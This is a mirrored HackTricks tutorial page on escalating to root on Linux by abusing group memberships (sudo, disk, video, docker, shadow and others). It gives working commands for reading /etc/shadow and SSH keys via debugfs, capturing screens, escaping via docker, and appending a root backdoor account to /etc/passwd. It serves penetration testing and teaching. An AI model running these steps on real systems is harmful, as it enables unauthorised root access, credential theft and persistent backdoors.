mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 17:44:47 +00:00
226 lines
9.8 KiB
Markdown
226 lines
9.8 KiB
Markdown
# Interesting Groups - Linux PE
|
||
|
||
<details>
|
||
|
||
<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
## Sudo/Admin Groups
|
||
|
||
### **PE - Method 1**
|
||
|
||
**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines:
|
||
|
||
```bash
|
||
# Allow members of group sudo to execute any command
|
||
%sudo ALL=(ALL:ALL) ALL
|
||
|
||
# Allow members of group admin to execute any command
|
||
%admin ALL=(ALL:ALL) ALL
|
||
```
|
||
|
||
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
|
||
|
||
If this is the case, to **become root you can just execute**:
|
||
|
||
```
|
||
sudo su
|
||
```
|
||
|
||
### PE - Method 2
|
||
|
||
Find all suid binaries and check if there is the binary **Pkexec**:
|
||
|
||
```bash
|
||
find / -perm -4000 2>/dev/null
|
||
```
|
||
|
||
If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\
|
||
This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with:
|
||
|
||
```bash
|
||
cat /etc/polkit-1/localauthority.conf.d/*
|
||
```
|
||
|
||
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear.
|
||
|
||
To **become root you can execute**:
|
||
|
||
```bash
|
||
pkexec "/bin/sh" #You will be prompted for your user password
|
||
```
|
||
|
||
If you try to execute **pkexec** and you get this **error**:
|
||
|
||
```bash
|
||
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
|
||
==== AUTHENTICATION FAILED ===
|
||
Error executing command as another user: Not authorized
|
||
```
|
||
|
||
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
|
||
|
||
{% code title="session1" %}
|
||
```bash
|
||
echo $$ #Step1: Get current PID
|
||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||
#Step 5, if correctly authenticate, you will have a root session
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code title="session2" %}
|
||
```bash
|
||
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||
#Step 4, you will be asked in this session to authenticate to pkexec
|
||
```
|
||
{% endcode %}
|
||
|
||
## Wheel Group
|
||
|
||
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
|
||
|
||
```
|
||
%wheel ALL=(ALL:ALL) ALL
|
||
```
|
||
|
||
This means that **any user that belongs to the group wheel can execute anything as sudo**.
|
||
|
||
If this is the case, to **become root you can just execute**:
|
||
|
||
```
|
||
sudo su
|
||
```
|
||
|
||
## Shadow Group
|
||
|
||
Users from the **group shadow** can **read** the **/etc/shadow** file:
|
||
|
||
```
|
||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||
```
|
||
|
||
So, read the file and try to **crack some hashes**.
|
||
|
||
## Disk Group
|
||
|
||
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
|
||
|
||
Files:`/dev/sd[a-z][1-9]`
|
||
|
||
```bash
|
||
df -h #Find where "/" is mounted
|
||
debugfs /dev/sda1
|
||
debugfs: cd /root
|
||
debugfs: ls
|
||
debugfs: cat /root/.ssh/id_rsa
|
||
debugfs: cat /etc/shadow
|
||
```
|
||
|
||
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
|
||
|
||
```bash
|
||
debugfs -w /dev/sda1
|
||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||
```
|
||
|
||
However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error.
|
||
|
||
## Video Group
|
||
|
||
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
|
||
|
||
```bash
|
||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||
```
|
||
|
||
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
|
||
|
||
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
|
||
|
||
```bash
|
||
cat /dev/fb0 > /tmp/screen.raw
|
||
cat /sys/class/graphics/fb0/virtual_size
|
||
```
|
||
|
||
To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**:
|
||
|
||
 (1).png>)
|
||
|
||
Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen):
|
||
|
||
.png>)
|
||
|
||
## Root Group
|
||
|
||
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
|
||
|
||
**Check which files root members can modify**:
|
||
|
||
```bash
|
||
find / -group root -perm -g=w 2>/dev/null
|
||
```
|
||
|
||
## Docker Group
|
||
|
||
You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
|
||
|
||
```bash
|
||
docker image #Get images from the docker service
|
||
|
||
#Get a shell inside a docker container with access as root to the filesystem
|
||
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
|
||
#If you want full access from the host, create a backdoor in the passwd file
|
||
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd
|
||
|
||
#Ifyou just want filesystem and network access you can startthe following container:
|
||
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
|
||
```
|
||
|
||
Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here:
|
||
|
||
{% content-ref url="../docker-breakout/" %}
|
||
[docker-breakout](../docker-breakout/)
|
||
{% endcontent-ref %}
|
||
|
||
If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.**
|
||
|
||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||
|
||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||
|
||
## lxc/lxd Group
|
||
|
||
{% content-ref url="./" %}
|
||
[.](./)
|
||
{% endcontent-ref %}
|
||
|
||
## Adm Group
|
||
|
||
Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\
|
||
Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.
|
||
|
||
## Auth group
|
||
|
||
Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\
|
||
These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
|
||
|
||
<details>
|
||
|
||
<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|